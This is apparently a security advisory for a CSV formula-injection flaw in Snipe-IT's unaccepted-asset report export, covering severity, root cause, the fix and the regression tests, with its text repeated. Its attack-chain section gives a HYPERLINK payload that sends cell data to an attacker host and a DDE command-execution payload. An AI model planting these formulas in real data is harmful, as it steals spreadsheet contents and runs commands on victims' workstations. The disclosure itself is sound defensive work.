ReportsController::postAssetAcceptanceReport streamed the "unaccepted asset" CSV export by hand: each cell went through str_replace(',', '', ...) (to keep the manual implode(',') join from breaking), then the row was joined and the whole file was joined by implode("\n"). Stripping commas kept the join stable but did nothing about formula prefixes. League\Csv\EscapeFormula was imported in the same file and applied at six other exports (all gated on config('app.escape_formulas')), but this one export consulted neither the helper nor the setting.
Row values include multiple user-editable free-text fields (company name, category, model, item name, asset tag, assignee display name). A low-privilege user with ordinary create/edit rights could set any of them to a spreadsheet formula. When a reports.view user downloaded the CSV and opened it in Excel, LibreOffice Calc, or Google Sheets, cells beginning with =, +, -, @, tab, or CR were interpreted as formulas and executed in the downloader's spreadsheet context.
Same class of bug and same fix pattern as the FMCS location-scoping export in commit 6976f1215444bcfeda50975a5673e8422bcab4bb. Unlike that one (which was master-only), this export ships in released code.
Severity
Moderate. CVSS 3.1: 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Privileges Required Low because the injector needs only ordinary create/edit rights on any of the free-text fields that appear in the report.
- User Interaction Required because the payload only fires when a
reports.view user downloads the CSV AND opens it in a formula-evaluating spreadsheet with external-content warnings dismissed or disabled.
- Scope Changed because execution happens in the victim's spreadsheet application on their workstation, outside the web application boundary.
- Confidentiality / Integrity / Availability Low because impact varies with what the victim's spreadsheet allows (cell exfiltration via HYPERLINK / WEBSERVICE, up through legacy DDE command execution on Windows Excel).
Weakness
- CWE-1236 (Improper Neutralization of Formula Elements in a CSV File)
Affected Versions
<= 8.6.3. The manual-join CSV export pattern in postAssetAcceptanceReport predates the introduction of EscapeFormula on the sibling exports in the same file; the six other exports were retrofitted with escaping and this one was missed.
Attack Chain
Injector preconditions:
- Authenticated Snipe-IT session with ordinary edit rights on any resource whose name / tag / display name can appear in the acceptance report (asset name / tag, company name, category, model, user display name).
- A pending checkout acceptance referencing the resource whose field was poisoned.
Attack steps:
- Injector sets a free-text field to a spreadsheet formula, e.g.
=HYPERLINK("http://attacker.test/x?"&A2,"click") for cell exfiltration or =cmd|'/c calc'!A1 for legacy DDE command execution on Windows Excel.
- Attacker (or a UI-triggered flow) creates or is left with a pending checkout acceptance referencing the poisoned item.
- A
reports.view user hits POST /reports/unaccepted_assets (the CSV export).
- Server emits the CSV where the poisoned cell is present verbatim.
- Victim opens the CSV. If formula evaluation is on (default) and the external-content warning is dismissed or disabled, the formula runs under the victim's workstation.
Root Cause
app/Http/Controllers/ReportsController.php::postAssetAcceptanceReport():
- Line 1520 onward builds the header + rows in PHP arrays.
- Line 1539 onward writes each cell through
str_replace(',', '', ...) (comma-stripping so the manual implode(',') doesn't break).
- Line 1552 joins the rows via
implode("\n") and streams the response.
League\Csv\EscapeFormula is imported at line 39 and applied at lines 122, 181, 331, 419, 888, and 1226 in the same file. Nothing after line 1275 in this file reached either the helper or the setting, so neither reached the acceptance export.
Fix
Added the same EscapeFormula pass to the loop, gated on config('app.escape_formulas'), matching the pattern already used by every other export in ReportsController. The formatter is instantiated once outside the loop with the backtick prefix (same character every sibling export uses).
The manual implode(',') join is preserved for now because the reporter noted the shape is code-quality rather than security. Moving this export onto fputcsv against a stream (as the location-scoping export now works) would drop the reliance on comma-stripping for correctness; that's a follow-up.
Fix Commit
2fc38b1
Regression Tests
tests/Feature/Reporting/AcceptanceReportCsvFormulaEscapeTest.php:
test_data_rows_with_formula_prefix_are_escaped_by_default seeds a pending acceptance whose asset name starts with =HYPERLINK(...), POSTs the export as a superuser, and asserts the raw formula is absent from the body and the backtick-prefixed form is present.
test_data_rows_with_plus_and_at_prefixes_are_escaped covers +cmd|... and @SUM(...) prefixes.
test_data_rows_are_not_escaped_when_setting_disabled sets app.escape_formulas=false and asserts the raw formula survives, matching the sibling exports' behavior for operators who intentionally disable escaping.
Credit
Arpit Jain (arpitjain099). Reporter noted AI assistance was used in reading the code and preparing the report. Same reporter as the master-only location-scoping export finding fixed in commit 6976f1215444bcfeda50975a5673e8422bcab4bb; sent as separate reports at the reporter's discretion.
ReportsController::postAssetAcceptanceReportstreamed the "unaccepted asset" CSV export by hand: each cell went throughstr_replace(',', '', ...)(to keep the manualimplode(',')join from breaking), then the row was joined and the whole file was joined byimplode("\n"). Stripping commas kept the join stable but did nothing about formula prefixes.League\Csv\EscapeFormulawas imported in the same file and applied at six other exports (all gated onconfig('app.escape_formulas')), but this one export consulted neither the helper nor the setting.Row values include multiple user-editable free-text fields (company name, category, model, item name, asset tag, assignee display name). A low-privilege user with ordinary create/edit rights could set any of them to a spreadsheet formula. When a
reports.viewuser downloaded the CSV and opened it in Excel, LibreOffice Calc, or Google Sheets, cells beginning with=,+,-,@, tab, or CR were interpreted as formulas and executed in the downloader's spreadsheet context.Same class of bug and same fix pattern as the FMCS location-scoping export in commit
6976f1215444bcfeda50975a5673e8422bcab4bb. Unlike that one (which was master-only), this export ships in released code.Severity
Moderate. CVSS 3.1: 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:Lreports.viewuser downloads the CSV AND opens it in a formula-evaluating spreadsheet with external-content warnings dismissed or disabled.Weakness
Affected Versions
<= 8.6.3. The manual-join CSV export pattern inpostAssetAcceptanceReportpredates the introduction ofEscapeFormulaon the sibling exports in the same file; the six other exports were retrofitted with escaping and this one was missed.Attack Chain
Injector preconditions:
Attack steps:
=HYPERLINK("http://attacker.test/x?"&A2,"click")for cell exfiltration or=cmd|'/c calc'!A1for legacy DDE command execution on Windows Excel.reports.viewuser hitsPOST /reports/unaccepted_assets(the CSV export).Root Cause
app/Http/Controllers/ReportsController.php::postAssetAcceptanceReport():str_replace(',', '', ...)(comma-stripping so the manualimplode(',')doesn't break).implode("\n")and streams the response.League\Csv\EscapeFormulais imported at line 39 and applied at lines 122, 181, 331, 419, 888, and 1226 in the same file. Nothing after line 1275 in this file reached either the helper or the setting, so neither reached the acceptance export.Fix
Added the same
EscapeFormulapass to the loop, gated onconfig('app.escape_formulas'), matching the pattern already used by every other export inReportsController. The formatter is instantiated once outside the loop with the backtick prefix (same character every sibling export uses).The manual
implode(',')join is preserved for now because the reporter noted the shape is code-quality rather than security. Moving this export ontofputcsvagainst a stream (as the location-scoping export now works) would drop the reliance on comma-stripping for correctness; that's a follow-up.Fix Commit
2fc38b1
Regression Tests
tests/Feature/Reporting/AcceptanceReportCsvFormulaEscapeTest.php:test_data_rows_with_formula_prefix_are_escaped_by_defaultseeds a pending acceptance whose asset name starts with=HYPERLINK(...), POSTs the export as a superuser, and asserts the raw formula is absent from the body and the backtick-prefixed form is present.test_data_rows_with_plus_and_at_prefixes_are_escapedcovers+cmd|...and@SUM(...)prefixes.test_data_rows_are_not_escaped_when_setting_disabledsetsapp.escape_formulas=falseand asserts the raw formula survives, matching the sibling exports' behavior for operators who intentionally disable escaping.Credit
Arpit Jain (arpitjain099). Reporter noted AI assistance was used in reading the code and preparing the report. Same reporter as the master-only location-scoping export finding fixed in commit
6976f1215444bcfeda50975a5673e8422bcab4bb; sent as separate reports at the reporter's discretion.